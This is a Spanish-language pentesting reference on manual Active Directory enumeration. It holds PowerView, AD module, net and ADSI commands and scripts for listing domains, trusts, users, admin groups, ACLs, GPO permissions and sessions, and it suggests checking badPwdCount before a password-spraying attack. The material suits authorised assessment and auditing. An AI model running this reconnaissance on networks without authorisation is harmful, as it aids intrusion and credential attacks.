# Enumeración manual

## Dominio

### **Obtener dominio actual**

<table><thead><tr><th width="147">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">Get-Domain
</code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">Get-ADDomain
</code></pre></td></tr><tr><td>CMD</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
</code></pre></td></tr><tr><td>ADSI</td><td><pre><code>([ADSI]"").distinguishedName
</code></pre><pre class="language-powershell"><code class="lang-powershell">([ADSI]"LDAP://RootDSE").defaultNamingContext
</code></pre></td></tr></tbody></table>

### **Obtener objeto de otro dominio**

<table><thead><tr><th width="147">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">Get-Domain -Domain xtormincorp.local
</code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">Get-ADDomain -Identity xtormincorp.local
</code></pre></td></tr></tbody></table>

### **Obtener SID del dominio actual**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">Get-DomainSID
</code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">(Get-ADDomain).DomainSID
</code></pre></td></tr></tbody></table>

### **Obtener todos los dominios**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">Get-ForestDomain -Verbose
</code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">(Get-ADForest).Domains
</code></pre></td></tr><tr><td>CMD</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
</code></pre></td></tr></tbody></table>

### **Obtener relación de confianza del dominio**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq "FILTER_SIDS"}

Get-ForestDomain -Forest eurocorp.local | %{Get-DomainTrust -Domain $\_.Name}

Get-DomainTrust | ?{$\_.TrustAttributes -eq "FILTER\_SIDS"} </code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-ADTrust -Filter \*

Get-ADForest | %{Get-ADTrust -Filter \*}

(Get-ADForest).Domains | %{Get-ADTrust -Filter '(intraForest -ne $True) -and (ForestTransitive -ne $True)' -Server $\_}

Get-ADTrust -Filter '(intraForest -ne $True) -and(ForestTransitive -ne $True)'

Get-ADTrust -Filter \* -Server xtormincorp.local </code></pre></td></tr></tbody></table>

## Política del dominio

### **Obtener la política del dominio actual**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">Get-DomainPolicyData
(Get-DomainPolicyData).systemaccess
</code></pre></td></tr></tbody></table>

### **Obtener la política de otro dominio**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">(Get-DomainPolicyData -domain
xtormincorp.local).systemaccess
</code></pre></td></tr></tbody></table>

## Controladores de dominio

### **Obtener controladores de dominio del dominio actual**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">Get-DomainController
</code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">Get-ADDomainController
</code></pre></td></tr><tr><td>CMD</td><td><pre class="language-bash"><code class="lang-bash">$domain="xtormincorp.local"
nslookup $domain
nslookup -type=srv _ldap._tcp.dc._msdcs.$domain
nltest /dclist:$domain
</code></pre></td></tr></tbody></table>

### **Obtener controladores de dominio del otro dominio**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">Get-DomainController -Domain xtormincorp.local
</code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">Get-ADDomainController -DomainName xtormincorp.local -
Discover
</code></pre></td></tr><tr><td>ADSI</td><td><pre class="language-powershell"><code class="lang-powershell">$dom = [ADSI]"LDAP://$(([ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)

$search.Filter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)"
$search.FindAll() | ForEach-Object { $\_.Properties.samaccountname } </code></pre></td></tr></tbody></table>

## Usuarios

### **Obtener una lista de usuarios del dominio actual**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-DomainUser
Get-DomainUser | select -ExpandProperty samaccountname

# Para guardar toda la salida en un CSV

Get-DomainUser |
Tee-Object -Variable allDomainUsers |
Format-Table -AutoSize \*
$allDomainUsers | Export-Csv -NoTypeInformation -Encoding UTF8 -Path ".\all\_domain\_users.csv" </code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">Get-ADUser -Filter \* -Properties \*
Get-ADUser -Filter \* -Server xtormincorp.local -Properties \* </code></pre></td></tr><tr><td>Net</td><td><pre class="language-powershell"><code class="lang-powershell">net user /domain </code></pre></td></tr><tr><td>ADSI</td><td><pre class="language-powershell"><code class="lang-powershell">$dom = \[ADSI]"LDAP://$((\[ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)

$search.Filter = "(objectClass=user)"
$search.FindAll() | ForEach-Object { $\_.Properties.samaccountname } </code></pre></td></tr></tbody></table>

### **Obtener información/propiedades de un usuario**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">Get-DomainUser -Identity xtormin
Get-DomainUser | Where-Object { $_.Name -like "*teresa*" }
Get-DomainUser | Where-Object { $_.DisplayName -like "*teresa*" }
Get-DomainUser -Identity xtormin -Properties *
Get-DomainUser -Properties samaccountname,logonCount
</code></pre></td></tr><tr><td>AD Module</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-ADUser -Identity xtormin -Properties *

Get-ADUser -Identity xtormin -Server xtormincorp.local -Properties \*

Get-ADUser -Filter \* -Properties \* | select -First 1 | Get-Member -MemberType \*Property | select Name

Get-ADUser -Filter \* -Properties \* | select name,logoncount,@{expression={\[datetime]::fromFileTime($\_.pwdlastset)}}

Get-ADUser -Filter 'Name -like "\*laura"' -Server za.tryhackme.com | Format-Table Name,SamAccountName -A </code></pre></td></tr><tr><td>Net</td><td><pre class="language-powershell"><code class="lang-powershell">net user xtormin /domain </code></pre></td></tr><tr><td>ADSI</td><td><pre class="language-powershell"><code class="lang-powershell">$usuario = "xtormin"
$dom = \[ADSI]"LDAP://$((\[ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)

$search.Filter = "(&(objectClass=user)(sAMAccountName=$usuario))"
$search.FindOne().Properties </code></pre></td></tr></tbody></table>

### Obtener grupos a los que pertenece un usuario

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>ADSI</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">$usuario = "xtormincorp/xtormin"([ADSI]"WinNT://$usuario,user").Groups() | ForEach-Object { $_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null) }
</code></pre></td></tr></tbody></table>

### Obtener usuarios dentro del grupo de administradores del dominio

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>ADSI</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"># Obtener contexto del dominio
$root = [ADSI]"LDAP://RootDSE"
$domainDN = $root.defaultNamingContext

# Enlace al grupo Domain Admins

$domainAdmins = \[ADSI]"LDAP://CN=Domain Admins,CN=Users,$domainDN"

# Enumerar miembros

$domainAdmins.psbase.Invoke("Members") | ForEach-Object {
$user = \[ADSI]$\_
if ($user.objectClass -eq "user") {
\[PSCustomObject]@{
Nombre             = $user.name\[0]
SamAccountName     = $user.sAMAccountName\[0]
DistinguishedName  = $user.distinguishedName\[0]
}
}
} </code></pre></td></tr></tbody></table>

### Obtener los usuarios no administradores con permisos de edición de GPOs

```powershell
$Results = @()

# Obtener todos los objetos GPO
$GPOs = Get-ADObject -Filter { ObjectClass -eq 'groupPolicyContainer' } -Properties nTSecurityDescriptor

foreach ($GPO in $GPOs) {
    $acls = $GPO.nTSecurityDescriptor.DiscretionaryAcl

    foreach ($acl in $acls) {
        if ($acl.AccessControlType -eq "Allow") {
            $sid = New-Object System.Security.Principal.SecurityIdentifier($acl.SecurityIdentifier)
            $account = try { $sid.Translate([System.Security.Principal.NTAccount]).Value } catch { $null }

            if ($account -and ($account -notmatch "Administrators")) {
                if ($acl.ActiveDirectoryRights -match "WriteProperty|GenericWrite|WriteDacl|WriteOwner") {
                    $Results += [PSCustomObject]@{
                        GPOName = $GPO.Name
                        Account = $account
                        Rights = $acl.ActiveDirectoryRights
                    }
                }
            }
        }
    }
}

# Incluir la fecha en el nombre del archivo
$Date = Get-Date -Format "yyyyMMdd"
$FileName = ".\GPO_Permissions_Report_$Date.csv"

# Exportar resultados a CSV
$Results | Export-Csv -Path $FileName -NoTypeInformation

Write-Output "Reporte exportado a $FileName"
```

### Obtener usuarios dentro del grupo administradores

{% code overflow="wrap" %}

```powershell
([ADSI]"WinNT://./Administrators,group").Members() | ForEach-Object { $_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null) }
```

{% endcode %}

### Obtener los usuarios privilegiados que no se encuentran en el grupo de usuarios protegidos

```powershell
# Obtener miembros de grupos privilegiados
$PrivilegedGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins", "Administrators")
$PrivilegedUsers = foreach ($Group in $PrivilegedGroups) {
    Get-ADGroupMember -Identity $Group -Recursive | Where-Object { $_.objectClass -eq 'user' }
}

# Obtener usuarios del grupo Protected Users
$ProtectedUsers = Get-ADGroupMember -Identity "Protected Users" -Recursive | Where-Object { $_.objectClass -eq 'user' }

# Preparar resultados
$Results = foreach ($User in $PrivilegedUsers) {
    $adUser = Get-ADUser -Identity $User.SamAccountName -Properties adminCount
    $isProtected = $ProtectedUsers.SamAccountName -contains $User.SamAccountName
    $isVulnerable = if (-not $isProtected -or $adUser.adminCount -ne 1) { $true } else { $false }

    [PSCustomObject]@{
        Name = $User.Name
        SamAccountName = $User.SamAccountName
        DistinguishedName = $User.DistinguishedName
        InProtectedUsers = $isProtected
        AdminCount = $adUser.adminCount
        IsVulnerable = $isVulnerable
    }
}

# Incluir la fecha en el nombre del archivo
$Date = Get-Date -Format "yyyyMMdd"
$FileName = ".\Privileged_Users_Status_$Date.csv"

# Exportar resultados a CSV
$Results | Export-Csv -Path $FileName -NoTypeInformation

Write-Output "Reporte exportado a $FileName"
```

* Obtiene los usuarios miembros de grupos privilegiados.
* Compara contra los miembros del grupo `Protected Users`.
* Consulta el atributo `adminCount` de cada usuario.
* Agrega columnas:
  * Si pertenece o no a `Protected Users`.
  * El valor de `adminCount`.
  * Si es considerado vulnerable (por no estar en `Protected Users` o por no tener `adminCount = 1`).
* Incluye la fecha en el nombre del CSV para trazabilidad.

## Grupos

### **Obtener todos los grupos del dominio**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"><strong>Get-DomainGroup
</strong>Get-DomainGroup | select -ExpandProperty samaccountname

# Para guardar la salida en un CSV

Get-DomainGroup |
Tee-Object -Variable allDomainGroups |
Format-Table -AutoSize \*

$allDomainGroups | Export-Csv -NoTypeInformation -Encoding UTF8 -Path ".\all\_domain\_groups.csv" </code></pre></td></tr><tr><td>Net</td><td><pre class="language-powershell"><code class="lang-powershell">net group /domain </code></pre></td></tr><tr><td>ADSI</td><td><pre class="language-powershell"><code class="lang-powershell">$dom = \[ADSI]"LDAP://$((\[ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)

$search.Filter = "(objectClass=group)"
$search.FindAll() | ForEach-Object { $\_.Properties.name } </code></pre></td></tr></tbody></table>

### **Obtener propiedades de un grupo**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">Get-ADGroup -Identity Administrators -Server xtormincorp.local
</code></pre></td></tr><tr><td>Net</td><td><pre class="language-powershell"><code class="lang-powershell">net group "Administrators" /domain
</code></pre></td></tr></tbody></table>

### **Obtener miembros de un grupo**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>AD Module</td><td><pre class="language-powershell"><code class="lang-powershell">$dom = [ADSI]"LDAP://$(([ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)

$grupo = "Administrators"
$search.Filter = "(&(objectClass=group)(cn=$grupo))"
$grupoAD = $search.FindOne()
$grupoAD.Properties.member </code></pre></td></tr></tbody></table>

### **Obtener grupos a los que pertenece un grupo**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>AD Module</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-ADGroupMember -Identity Administrators -Server xtormincorp.local
</code></pre></td></tr></tbody></table>

### **Obtener todos los miembros de todos los grupos de forma recursiva**

{% code overflow="wrap" %}

```powershell
# Obtener todos los grupos del dominio
$allGroups = Get-ADGroup -Filter *

# Crear lista para guardar resultados
$groupMembers = @()

# Iterar sobre cada grupo
foreach ($group in $allGroups) {
    try {
        $members = Get-ADGroupMember -Identity $group.SamAccountName -Recursive -ErrorAction Stop
        foreach ($member in $members) {
            $groupMembers += [PSCustomObject]@{
                GroupName         = $group.Name
                GroupSamAccount   = $group.SamAccountName
                MemberName        = $member.Name
                MemberSamAccount  = $member.SamAccountName
                MemberObjectClass = $member.ObjectClass
                DistinguishedName = $member.DistinguishedName
            }
        }
    } catch {
        Write-Warning "Error al enumerar miembros del grupo $($group.SamAccountName): $_"
    }
}

# Mostrar en formato tabla en consola
$groupMembers | Format-Table -AutoSize

# Exportar a CSV
$groupMembers | Export-Csv -NoTypeInformation -Encoding UTF8 -Path ".\domain_group_members_recursive.csv"
```

{% endcode %}

### Obtener todos los miembros de todos los grupos (lista txt) de forma recursiva

**Input:** Lista de grupos en un fichero txt (ej: group\_list.txt)

```
Server Management
IT Support
```

**Ejecución del script:**

```powershell
# Definir la ruta del archivo de entrada con la lista de grupos
$inputFile = ".\group_list.txt"
$outputFile = ".\groups_members.csv"

# Verificar que el archivo de entrada existe
if (-not (Test-Path $inputFile)) {
    Write-Error "El archivo de entrada $inputFile no existe."
    exit
}

# Leer los nombres de los grupos desde el archivo de texto
$groupNames = Get-Content $inputFile

# Crear un array para almacenar los resultados
$groupMembers = @()

# Configurar el encabezado del CSV con el formato requerido "GroupName;Member"
"GroupName;Member" | Out-File -FilePath $outputFile -Encoding UTF8

# Iterar sobre cada grupo en la lista
foreach ($groupName in $groupNames) {
    # Eliminar espacios en blanco al inicio y final
    $groupName = $groupName.Trim()
    
    # Saltar líneas vacías
    if ([string]::IsNullOrEmpty($groupName)) {
        continue
    }
    
    try {
        Write-Host "Procesando grupo: $groupName"
        
        # Obtener los miembros del grupo recursivamente
        $members = Get-ADGroupMember -Identity $groupName -Recursive -ErrorAction Stop
        
        if ($members.Count -eq 0) {
            # Si el grupo no tiene miembros, añadir una entrada indicándolo
            "$groupName;Sin miembros" | Out-File -FilePath $outputFile -Encoding UTF8 -Append
        } else {
            # Procesar cada miembro del grupo
            foreach ($member in $members) {
                # Escribir directamente al archivo CSV con el formato "GroupName;Member"
                "$groupName;$($member.Name)" | Out-File -FilePath $outputFile -Encoding UTF8 -Append
            }
        }
    } catch {
        $errorMessage = $_.Exception.Message
        Write-Warning "Error al enumerar miembros del grupo $groupName`: $errorMessage"
        # Registrar los grupos con error en el CSV
        "$groupName;Error: $errorMessage" | Out-File -FilePath $outputFile -Encoding UTF8 -Append
    }
}

Write-Host "Proceso completado. Resultados guardados en $outputFile"
```

**Output:** Fichero CSV con la lista de grupos y miembros.

<div data-full-width="false"><figure><img src="/files/uUOJs6U50Ry1naihYRI5" alt="" width="563"><figcaption></figcaption></figure></div>

### **Obtener los miembros recursivos del grupo "Domain Admins"**

{% code overflow="wrap" %}

```powershell
$domainAdmins = Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# Mostrar los resultados en formato tabla
$domainAdmins | Select-Object Name, SamAccountName, ObjectClass, DistinguishedName | Format-Table -AutoSize

# Exportar todos los atributos disponibles a un fichero CSV
$domainAdmins | Select-Object * | Export-Csv -Path ".\domain_admins_members.csv" -NoTypeInformation -Encoding UTF8
```

{% endcode %}

### **Obtener todos los grupos con "admin" y sus miembros (si los hay)**

{% code overflow="wrap" %}

```powershell
# Enumerar grupos con "admin" en el nombre
$adminGroups = Get-DomainGroup -LDAPFilter "(name=*admin*)"

# Crear una lista para todos los resultados
$allAdminGroupMembers = @()

foreach ($group in $adminGroups) {
    try {
        # Intentar obtener los miembros del grupo
        $members = Get-DomainGroupMember -Identity $group.DistinguishedName -Recurse -ErrorAction Stop

        if ($members.Count -eq 0) {
            # Grupo sin miembros
            $entry = [PSCustomObject]@{
                GroupName         = $group.Name
                Name              = ''
                SamAccountName    = ''
                ObjectClass       = ''
                DistinguishedName = ''
            }
            $allAdminGroupMembers += $entry
        } else {
            # Agregar cada miembro al array
            foreach ($member in $members) {
                $member | Add-Member -NotePropertyName GroupName -NotePropertyValue $group.Name -Force
                $allAdminGroupMembers += $member
            }
        }
    } catch {
        # Si el grupo no permite consultar miembros, registrar igual el grupo vacío
        Write-Warning "❌ Error en grupo '$($group.Name)': $_"
        $entry = [PSCustomObject]@{
            GroupName         = $group.Name
            Name              = 'ERROR'
            SamAccountName    = ''
            ObjectClass       = ''
            DistinguishedName = ''
        }
        $allAdminGroupMembers += $entry
    }
}

# Mostrar en tabla los resultados clave
$allAdminGroupMembers |
    Select-Object GroupName, Name, SamAccountName, ObjectClass, DistinguishedName |
    Format-Table -AutoSize

# Exportar todo a CSV
$allAdminGroupMembers |
    Select-Object * |
    Export-Csv -Path ".\admin_groups_members_full.csv" -NoTypeInformation -Encoding UTF8
```

{% endcode %}

## Equipos / Servidores

### **Obtener equipos/servidores**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-DomainComputer
Get-DomainComputer | select -ExpandProperty dnshostname

# Para guardar toda la salida en un CSV

$computers = Get-DomainComputer -Properties \*
$computers | Select-Object Name, OperatingSystem, Enabled, LastLogonDate, DistinguishedName | Format-Table -AutoSize
$computers | Select-Object \* | Export-Csv -NoTypeInformation -Encoding UTF8 -Path "C:\Pentest\Enum\domain\_computers.csv" </code></pre></td></tr><tr><td>ADSI</td><td><pre class="language-powershell"><code class="lang-powershell">$dom = \[ADSI]"LDAP://$((\[ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)
$search.Filter = "(objectClass=computer)"
$search.FindAll() | ForEach-Object { $\_.Properties.name } </code></pre></td></tr></tbody></table>

## Unidades organizativas

### **Obtener unidades organizativas**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-DomainOU
Get-DomainOU | select -ExpandProperty name
Get-NetOU -FullData

# Para guardar toda la salida en un CSV

$ous = Get-DomainOU -Properties \*
$ous | Select-Object Name, DistinguishedName, GPOApplied, GUID | Format-Table -AutoSize
$ous | Select-Object \* | Export-Csv -NoTypeInformation -Encoding UTF8 -Path ".\domain\_ous.csv"

# Otra opción con Get-NetOU

$netOUs = Get-NetOU
$netOUs | Select-Object Name, distinguishedname, gplink, objectguid | Format-Table -AutoSize
$netOUs | Select-Object \* | Export-Csv -Path ".\net\_ous.csv" -NoTypeInformation -Encoding UTF8 </code></pre></td></tr></tbody></table>

### **Obtener todos los equipos asociados a una unidad organizativa**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">$OUName="&#x3C;Nombre de la OU>"
(Get-DomainOU -Identity $OUName).distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name
</code></pre></td></tr></tbody></table>

### **Obtener GPLink asociada a una unidad organizativa**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">$OUName="&#x3C;Nombre de la OU>"
(Get-DomainOU -Identity $OUName).gplink
$CN="{7378F170-3A0C-490C-B355-1E4618BC785D}"
Get-DomainGPO -Identity $CN
</code></pre><p>El siguiente comando une los dos anteriores en uno:</p><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">$OUName="&#x3C;Nombre de la OU>"
Get-DomainGPO -Identity (Get-DomainOU -Identity $OUName).gplink.substring(11,(Get-DomainOU -Identity $OUName).gplink.length-72
</code></pre></td></tr></tbody></table>

## Política de contraseñas

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>Net</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"><strong>net accounts /domain
</strong></code></pre></td></tr></tbody></table>

## ACL (Listas de control de acceso)

### **Obtener las ACLs**

GUI con Out-GridView:

```powershell
Invoke-ACLScanner -ResolveGUIDs | Out-GridView
```

<figure><img src="/files/66bKzvfLSNsZqcYUaJBm" alt=""><figcaption></figcaption></figure>

PowerShell:

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs -Verbose
Get-ObjectAcl -SamAccountName &#x3C;AccountName> -ResolveGUIDs
Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
</code></pre></td></tr></tbody></table>

### **Obtener los ACLs de un objeto, por ejemplo, "Administrator"**

{% code overflow="wrap" %}

```powershell
# Obtener los ACLs del objeto 'Administrator'
$acls = Get-DomainObjectAcl -SamAccountName Administrator -ResolveGUIDs

# Resolver el SID de cada ACL manualmente si no está ya resuelto
foreach ($acl in $acls) {
    if (-not $acl.IdentityReference) {
        try {
            $sidObj = New-Object System.Security.Principal.SecurityIdentifier($acl.SecurityIdentifier)
            $acl | Add-Member -NotePropertyName "IdentityReference" -NotePropertyValue $sidObj.Translate([System.Security.Principal.NTAccount]) -Force
        } catch {
            $acl | Add-Member -NotePropertyName "IdentityReference" -NotePropertyValue $acl.SecurityIdentifier -Force
        }
    }
}

# Mostrar campos clave
$acls | Select-Object IdentityReference, ActiveDirectoryRights, ObjectAceType, InheritanceFlags, AceType, IsInherited |
    Format-Table -AutoSize

# Exportar todos los campos a CSV
$acls | Select-Object * | Export-Csv -Path ".\administrator_objectacls_full.csv" -NoTypeInformation -Encoding UTF8

Write-Host "`nExportación completada: administrator_objectacls_full.csv" -ForegroundColor Green

```

{% endcode %}

### **Obtener las ACLs de SYSVOL**

```powershell
# Ruta SYSVOL adaptada a tu dominio actual
$sysvolPath = "\\dc.xtormincorp.local\SYSVOL"

# Obtener ACL del recurso compartido
$acl = Get-PathAcl -Path $sysvolPath

# Mostrar campos clave en tabla
$acl | Select-Object IdentityReference, FileSystemRights, AccessControlType, IsInherited, InheritanceFlags, PropagationFlags |
    Format-Table -AutoSize

# Exportar todos los datos a CSV
$acl | Select-Object * | Export-Csv -Path ".\sysvol_acl_full.csv" -NoTypeInformation -Encoding UTF8

Write-Host "`nExportación completada: sysvol_acl_full.csv" -ForegroundColor Green
```

Lo mismo, pero recursivo:

{% code overflow="wrap" %}

```powershell
# Ruta SYSVOL adaptada a tu dominio
$rootPath = "\\dc.xtormincorp.local\SYSVOL"

# Array para almacenar todos los ACLs
$allACLs = @()

# Obtener recursivamente todos los archivos y carpetas
$items = Get-ChildItem -Path $rootPath -Recurse -Force -ErrorAction SilentlyContinue

# Añadir también la raíz
$items += Get-Item -Path $rootPath

foreach ($item in $items) {
    try {
        $acl = Get-PathAcl -Path $item.FullName
        foreach ($entry in $acl) {
            $entry | Add-Member -NotePropertyName Path -NotePropertyValue $item.FullName -Force
            $allACLs += $entry
        }
    } catch {
        Write-Warning "❌ Error al obtener ACL de: $($item.FullName)"
    }
}

# Mostrar en tabla campos clave
$allACLs |
    Select-Object Path, IdentityReference, FileSystemRights, AccessControlType, IsInherited |
    Format-Table -AutoSize

# Exportar todos los campos a CSV
$allACLs | Select-Object * | Export-Csv -Path ".\sysvol_recursive_acls.csv" -NoTypeInformation -Encoding UTF8

Write-Host "`nExportación completada: sysvol_recursive_acls.csv" -ForegroundColor Green
```

{% endcode %}

### **Obtener ACLs que podrían ser interesantes**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
Invoke-ACLScanner -ResolveGUIDs
Get-PathAcl -Path "\\files.xtormincorp.local\share"
</code></pre></td></tr></tbody></table>

## GPO

Se enumera información sobre las políticas de grupo e información de la configuración del usuario. Como los grupos de seguridad a los que pertenece, versión del sistema operativo, nombre de dominio, etc.

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>PowerView</td><td><pre class="language-powershell"><code class="lang-powershell">Get-NetGPO
Get-NetGPO -ComputerName &#x3C;equipo>
Get-NetGPOGroup
Find-GPOComputerAdmin -ComputerName &#x3C;equipo>
</code></pre></td></tr><tr><td>CMD</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">gpresult /r
</code></pre></td></tr></tbody></table>

## Objetos AD

### **Obtener todos los objetos que hayan cambiado tras una determinada fecha**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>AD Module</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">$ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server xtormincorp.local
</code></pre></td></tr></tbody></table>

### **Enumerar cuentas que cuenten con un badPwdCount > 0**

Esto es útil para enumerar las cuentas que ya cuenten con intentos de contraseñas fallidas. ¿Y por qué es interesante este dato? Porque antes de hacer un ataque de password spraying, se pueden omitir estas cuentas de la prueba para evitar bloquearlas:

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>AD Module</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-ADObject -Filter 'badPwdCount -gt 0' -Server za.tryhackme.com
</code></pre></td></tr></tbody></table>

## Sesiones activas

### **Enumerar todas las sesiones usando el fichero CSV de equipos listado en el script anterior:**

```powershell
# Cargar equipos desde el CSV exportado anteriormente
$computers = Import-Csv -Path ".\domain_computers.csv"

# Array para almacenar resultados
$userSessions = @()

foreach ($computer in $computers) {
    $hostname = $computer.dnshostname

    if (-not $hostname) {
        Write-Warning ("El equipo {0} no tiene un DNS hostname definido, se omite." -f $computer.name)
        continue
    }

    Write-Host "`nObteniendo sesiones de: $hostname" -ForegroundColor Cyan

    $result = [PSCustomObject]@{
        Hostname            = $hostname
        NetLoggedOnUsers    = $null
        LocallyLoggedUsers  = $null
        LastLoggedUser      = $null
    }

    try {
        $netLogged = Get-NetLoggedon -ComputerName $hostname
        if ($netLogged) {
            $result.NetLoggedOnUsers = ($netLogged | Select-Object -ExpandProperty UserName) -join ', '
        }
    } catch {
        $msg = $_.Exception.Message
        Write-Warning ("Error en Get-NetLoggedon para {0}: {1}" -f $hostname, $msg)
    }

    try {
        $localLogged = Get-LoggedonLocal -ComputerName $hostname
        if ($localLogged) {
            $result.LocallyLoggedUsers = ($localLogged | Select-Object -ExpandProperty UserName) -join ', '
        }
    } catch {
        $msg = $_.Exception.Message
        Write-Warning ("Error en Get-LoggedonLocal para {0}: {1}" -f $hostname, $msg)
    }

    try {
        $lastLogged = Get-LastLoggedOn -ComputerName $hostname
        if ($lastLogged) {
            $result.LastLoggedUser = $lastLogged.UserName
        }
    } catch {
        $msg = $_.Exception.Message
        Write-Warning ("Error en Get-LastLoggedOn para {0}: {1}" -f $hostname, $msg)
    }

    $userSessions += $result
}

# Mostrar en tabla
$userSessions | Format-Table -AutoSize

# Exportar a CSV
$userSessions | Export-Csv -Path ".\user_sessions_all.csv" -NoTypeInformation -Encoding UTF8
Write-Host "`nSesiones exportadas a 'user_sessions_all.csv'" -ForegroundColor Green
```

### **Enumerar las sesiones de todas las máquinas remotas**

#### Invoke-SessionHunter

<https://github.com/Leo4j/Invoke-SessionHunter>

{% code overflow="wrap" %}

```powershell
